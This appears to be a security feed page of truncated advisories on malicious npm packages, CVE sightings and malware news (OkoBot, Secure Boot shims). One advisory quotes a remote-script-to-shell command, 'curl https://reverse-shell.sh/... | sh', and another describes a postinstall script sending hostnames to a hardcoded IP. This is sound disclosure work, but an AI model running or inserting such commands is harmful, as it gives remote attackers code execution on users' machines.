MAL-2026-10694 Malicious code in vor8zakon (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 99924288481504c324c3f573ba7ba99ac4e1c7a7f22a940c94d81059b868fdfd Package advertises itself as 'A simple cryptographic library for JavaScript applications' but ships no crypto code and exports nothing. package.json...

Malicious code in internallib_v907 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40689180cd10e4352f018c9ffc96ddd110f12299bd83f195fe9879e28d1de59e index.js line 5 invokes exec'/bin/bash -c "curl https://reverse-shell.sh/... | sh"', piping a remote script directly into a shell. The fetched payloa...

OkoBot Malware Framework Injects Seed Phrase Phishing Into Ledger and Trezor Apps

A malware framework called OkoBot has been running on Windows machines since April 2025, and one of its modules is built to con hardware wallet owners out of their recovery phrase. On an infected PC, the request comes from inside the wallet's own desktop software. Sometimes it waits until you plu...

CVE-2026-53024

creationtimestamp| type| source ---|---|--- 2026-07-15 14:48:08+00:00| seen| https://bsky.app/profile/malwareobserver.bsky.social/post/3mqoxopukfd2w 2026-10-01 18:00:00+00:00| seen| https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities20261002...

CVE-2026-48368

creationtimestamp| type| source ---|---|--- 2026-07-15 14:46:46+00:00| seen| https://bsky.app/profile/malwareobserver.bsky.social/post/3mqoxmbo6ad2z...

MAL-2026-10673 Malicious code in gulp-jscrambler (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c7353f50ebadb90b9c561e3e70b53c89712bafd182fdc3eb16e536651b972092 gulp-jscrambler is a Gulp plugin wrapping the Jscrambler code-protection API. No install-time lifecycle scripts, credential harvesting, exfiltration...

Malicious code in jscrambler-metro-plugin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6330e46f350d87abb62ebe25db40ffb14d8736a91e6b95f77f8cc6df053fbdc5 [email protected] is a Metro bundler plugin published under the Jscrambler vendor namespace. No a static rule matches and no traced...

OkoBot: new sophisticated malware framework targets cryptocurrency users

Introduction In January 2026, we identified multiple attacks involving unknown malware that captures the contents of cryptocurrency wallet windows. During the investigation, we reconstructed the complete infection chain, which consisted of four tightly linked stages initiated by the execution of...

library_with_build_info_3 (>=0.0.2, <=0.0.7) potentially affected by unknown CVE via true (0.0.3)

true NPM version 0.0.3 is affected by a known vulnerability. The following packages have a transitive dependency on true and may be impacted: - librarywithbuildinfo3 =0.0.2, =0.0.7 Source cves: unknown CVE Source advisory: OSV:MAL-2026-10667...

@_immo/return (>=1.0.1, <=1.1.1), @abgov/angular-components (0.6.12) +65 more potentially affected by unknown CVE via true (0.0.4)

true NPM version 0.0.4 is affected by a known vulnerability. The following packages have a transitive dependency on true and may be impacted: - @immo/return =1.0.1, =0.6.12, =0.6.12, =1.1.1, =1.0.0, =1.0.0, =1.0.0, =1.0.0, =1.0.0, =1.0.0, =1.0.0, =1.0.2 and more Source cves: unknown CVE Source...

Malicious code in ssweb-wp (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4cdc75de95852418c3d695299d52199b24e52202b2e5595089b3107a73c1e86b The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-10653 Malicious code in webpack-session-cache (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0007695a788bff7d6d0a87ee48de6771c12a1e21241bd3fc0bc7b5509608533e The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious Package

Overview fhirproxy-utils is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

MAL-2026-10613 Malicious code in ethereum-lib-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 58bddf420dcb894a940b62fba777628f0c3a9d31dd7fa915afaea618c1914d52 Package [email protected] impersonates the widely-used ethereumjs-util library: the package name, README badge, repository, homepage, and auth...

MAL-2026-10598 Malicious code in monitoring-service-util (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6fb0e7dea7e0302bc22488fbaf436dd36c0763f05ef494977822e8a1b7b3a1ab The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

hacksguard v0.3

Hacksguard 0.2 - Blazing Fast TUI Malware Analysis Tool 🛡️ Hacksguard is a blazingly fast, multi-threaded Terminal UI TUI static analysis tool designed for SOC analysts, threat hunters, and reverse engineers. Built entirely in Rust, it provides an intuitive dashboard for quick triage and deep...

MAL-2026-10581 Malicious code in process-status-widget (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector afd09cd68063b99549f252d3db30b88d9eb4c9e479c784ad0c09ce063764d768 [email protected] is an empty stub index.js exports , empty author/description, suspicious version 99.9.1 whose sole material effect on...

11 Old Microsoft-Signed Linux UEFI Shims Could Let Attackers Bypass Secure Boot

Cybersecurity researchers have discovered 11 old, Microsoft-signed, Unified Extensible Firmware Interface UEFI applications that could be abused to bypass Secure Boot on most systems using the modern firmware standard. "An attacker exploiting one of these vulnerable applications can execute...

CVE-2026-11567

creationtimestamp| type| source ---|---|--- 2026-07-14 06:39:52+00:00| seen| https://bsky.app/profile/malwareobserver.bsky.social/post/3mqllwpvip62s 2026-07-14 09:23:08+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqlv2n25xx27 2026-07-19 21:10:52+00:00| seen|...

Malicious code in @cw-ui/micro-ui-loader (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b558c8d90850ea9817e236b445ba2bc1020a35a81a099a5e1575ef705b00bd39 On npm install, postinstall.js reads the installer's hostname via os.hostname and sends it as a query parameter to a hardcoded bare-IP HTTP endpoint:...